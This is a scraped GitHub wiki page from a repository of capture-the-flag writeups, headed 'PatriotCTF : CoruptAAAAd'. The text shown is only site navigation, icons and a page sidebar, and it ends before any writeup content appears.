0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> not1cyyy </span> <span>/</span> CTF-Writeups
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>7</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75A.75.75 0 0 1 .75 1h4.253c1.227 0 2.317.59 3 1.501A3.743 3.743 0 0 1 11.006 1h4.245a.75.75 0 0 1 .75.75v10.5a.75.75 0 0 1-.75.75h-4.507a2.25 2.25 0 0 0-1.591.659l-.622.621a.75.75 0 0 1-1.06 0l-.622-.621A2.25 2.25 0 0 0 5.258 13H.75a.75.75 0 0 1-.75-.75Zm7.251 10.324.004-5.073-.002-2.253A2.25 2.25 0 0 0 5.003 2.5H1.5v9h3.757a3.75 3.75 0 0 1 1.994.574ZM8.755 4.75l-.004 7.322a3.752 3.752 0 0 1 1.992-.572H14.5v-9h-3.495a2.25 2.25 0 0 0-2.25 2.25Z"></path></svg> <span>Wiki</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/not1cyyy/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4 page" id="wiki-wrapper"> <div class="d-flex flex-column flex-md-row gh-header"> <h1 class="flex-auto min-width-0 mb-2 mb-md-0 mr-0 mr-md-2 gh-header-title">PatriotCTF : CoruptAAAAd</h1>
<div class="mt-0 mt-lg-1 flex-shrink-0 gh-header-actions"> Jump to bottom
</div> </div>
<div class="mt-2 mt-md-1 pb-3 gh-header-meta"> Firas Chaib edited this page <relative-time datetime="2022-05-18T12:55:35Z" class="no-wrap">May 18, 2022</relative-time> · 1 revision </div>
<div id="wiki-content" class="mt-4"> <div data-view-component="true" class="Layout Layout--flowRow-until-md Layout--sidebarPosition-end Layout--sidebarPosition-flowRow-end"> <div data-view-component="true" class="Layout-sidebar"> <div class="wiki-rightbar"> <div id="wiki-pages-box" class="mb-4 wiki-pages-box js-wiki-pages-box" role="navigation"> <div class="Box Box--condensed color-shadow-small"> <div class="Box-header js-wiki-toggle-collapse" style="cursor: pointer"> <h3 class="Box-title"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toggle-display"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-right js-wiki-sidebar-toggle-display d-none"> <path d="m6.427 4.427 3.396 3.396a.25.25 0 0 1 0 .354l-3.396 3.396A.25.25 0 0 1 6 11.396V4.604a.25.25 0 0 1 .427-.177Z"></path></svg> Pages <span>14</span> </h3> </div> <div class=" js-wiki-sidebar-toggle-display"> <div class="filter-bar"> <input type="text" id="wiki-pages-filter" class="form-control input-sm input-block js-filterable-field" placeholder="Find a page…" aria-label="Find a page…"> </div>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> Home</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/Home/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> GDG Algiers CTF : franklin last words</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/GDG-Algiers-CTF-:-franklin-last-words/_toc"> </include-fragment></details>
